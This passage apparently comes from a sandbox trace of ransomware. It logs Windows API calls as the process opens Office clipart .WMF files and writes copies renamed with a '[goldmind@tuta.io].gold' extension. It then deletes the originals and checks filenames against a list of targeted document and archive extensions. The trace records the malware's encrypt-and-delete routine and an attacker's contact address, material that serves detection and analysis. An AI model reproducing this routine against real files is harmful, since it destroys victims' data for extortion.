(lpString1=".jpg", lpString2=".WMF") returned -1 [0100.679] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.679] lstrlenW (lpString="J0086424.WMF") returned 12 [0100.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.679] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=17016) returned 1 [0100.679] CloseHandle (hObject=0x3c0) returned 1 [0100.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0100.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.680] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.680] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0100.680] GetLastError () returned 0x0 [0100.680] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4278, lpOverlapped=0x0) returned 1 [0100.682] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4280, lpOverlapped=0x0) returned 1 [0100.682] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.682] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.683] SetEndOfFile (hFile=0x180) returned 1 [0100.683] CloseHandle (hObject=0x180) returned 1 [0100.683] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.683] SetEndOfFile (hFile=0x3c0) returned 1 [0100.685] CloseHandle (hObject=0x3c0) returned 1 [0100.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString=".doc") returned 4 [0100.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString=".docx") returned 5 [0100.686] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0100.686] lstrlenW (lpString=".pdf") returned 4 [0100.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString=".xls") returned 4 [0100.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.686] lstrlenW (lpString=".xlsx") returned 5 [0100.686] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0100.686] lstrlenW (lpString=".ppt") returned 4 [0100.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString=".zip") returned 4 [0100.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.686] lstrlenW (lpString=".rar") returned 4 [0100.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString=".bz2") returned 4 [0100.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString=".7z") returned 3 [0100.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString=".dbf") returned 4 [0100.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString=".1cd") returned 4 [0100.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString=".jpg") returned 4 [0100.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.687] lstrlenW (lpString=".doc") returned 4 [0100.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString=".docx") returned 5 [0100.687] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0100.687] lstrlenW (lpString=".pdf") returned 4 [0100.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString=".xls") returned 4 [0100.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.687] lstrlenW (lpString=".xlsx") returned 5 [0100.687] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0100.687] lstrlenW (lpString=".ppt") returned 4 [0100.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.687] lstrlenW (lpString=".zip") returned 4 [0100.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.687] lstrlenW (lpString=".rar") returned 4 [0100.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString=".bz2") returned 4 [0100.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString=".7z") returned 3 [0100.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.687] lstrlenW (lpString=".dbf") returned 4 [0100.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.687] lstrlenW (lpString=".1cd") returned 4 [0100.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0100.687] lstrlenW (lpString=".jpg") returned 4 [0100.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.687] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.687] lstrlenW (lpString="J0086426.WMF") returned 12 [0100.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.688] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=21782) returned 1 [0100.688] CloseHandle (hObject=0x3c0) returned 1 [0100.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0100.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.688] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.688] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0100.689] GetLastError () returned 0x0 [0100.689] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5516, lpOverlapped=0x0) returned 1 [0100.690] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5520, lpOverlapped=0x0) returned 1 [0100.691] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.691] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.691] SetEndOfFile (hFile=0x180) returned 1 [0100.691] CloseHandle (hObject=0x180) returned 1 [0100.691] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.691] SetEndOfFile (hFile=0x3c0) returned 1 [0100.693] CloseHandle (hObject=0x3c0) returned 1 [0100.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0100.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.694] lstrlenW (lpString=".doc") returned 4 [0100.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.694] lstrlenW (lpString=".docx") returned 5 [0100.694] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0100.694] lstrlenW (lpString=".pdf") returned 4 [0100.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.694] lstrlenW (lpString=".xls") returned 4 [0100.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.694] lstrlenW (lpString=".xlsx") returned 5 [0100.694] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0100.694] lstrlenW (lpString=".ppt") returned 4 [0100.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.694] lstrlenW (lpString=".zip") returned 4 [0100.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.695] lstrlenW (lpString=".rar") returned 4 [0100.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString=".bz2") returned 4 [0100.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString=".7z") returned 3 [0100.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".dbf") returned 4 [0100.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".1cd") returned 4 [0100.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".jpg") returned 4 [0100.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".doc") returned 4 [0100.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString=".docx") returned 5 [0100.695] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0100.695] lstrlenW (lpString=".pdf") returned 4 [0100.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString=".xls") returned 4 [0100.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.695] lstrlenW (lpString=".xlsx") returned 5 [0100.695] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0100.695] lstrlenW (lpString=".ppt") returned 4 [0100.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".zip") returned 4 [0100.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.695] lstrlenW (lpString=".rar") returned 4 [0100.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString=".bz2") returned 4 [0100.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString=".7z") returned 3 [0100.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".dbf") returned 4 [0100.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.695] lstrlenW (lpString=".1cd") returned 4 [0100.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0100.696] lstrlenW (lpString=".jpg") returned 4 [0100.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.696] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.696] lstrlenW (lpString="J0086428.WMF") returned 12 [0100.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0100.977] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=35346) returned 1 [0100.977] CloseHandle (hObject=0x3b0) returned 1 [0100.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0100.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.006] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.006] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.007] GetLastError () returned 0x0 [0101.007] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8a12, lpOverlapped=0x0) returned 1 [0101.009] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x8a20, lpOverlapped=0x0) returned 1 [0101.010] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.010] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.010] SetEndOfFile (hFile=0x3ac) returned 1 [0101.010] CloseHandle (hObject=0x3ac) returned 1 [0101.010] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.010] SetEndOfFile (hFile=0x3b8) returned 1 [0101.012] CloseHandle (hObject=0x3b8) returned 1 [0101.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0101.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.013] lstrlenW (lpString=".doc") returned 4 [0101.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString=".docx") returned 5 [0101.013] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0101.013] lstrlenW (lpString=".pdf") returned 4 [0101.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString=".xls") returned 4 [0101.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.013] lstrlenW (lpString=".xlsx") returned 5 [0101.013] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0101.013] lstrlenW (lpString=".ppt") returned 4 [0101.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.013] lstrlenW (lpString=".zip") returned 4 [0101.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.013] lstrlenW (lpString=".rar") returned 4 [0101.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString=".bz2") returned 4 [0101.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString=".7z") returned 3 [0101.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.013] lstrlenW (lpString=".dbf") returned 4 [0101.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.013] lstrlenW (lpString=".1cd") returned 4 [0101.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.013] lstrlenW (lpString=".jpg") returned 4 [0101.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.014] lstrlenW (lpString=".doc") returned 4 [0101.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString=".docx") returned 5 [0101.014] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0101.014] lstrlenW (lpString=".pdf") returned 4 [0101.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString=".xls") returned 4 [0101.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.014] lstrlenW (lpString=".xlsx") returned 5 [0101.014] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0101.014] lstrlenW (lpString=".ppt") returned 4 [0101.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.014] lstrlenW (lpString=".zip") returned 4 [0101.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.014] lstrlenW (lpString=".rar") returned 4 [0101.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString=".bz2") returned 4 [0101.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString=".7z") returned 3 [0101.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.014] lstrlenW (lpString=".dbf") returned 4 [0101.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.014] lstrlenW (lpString=".1cd") returned 4 [0101.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0101.014] lstrlenW (lpString=".jpg") returned 4 [0101.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.014] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.014] lstrlenW (lpString="J0086432.WMF") returned 12 [0101.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.015] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=33434) returned 1 [0101.015] CloseHandle (hObject=0x3b8) returned 1 [0101.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) 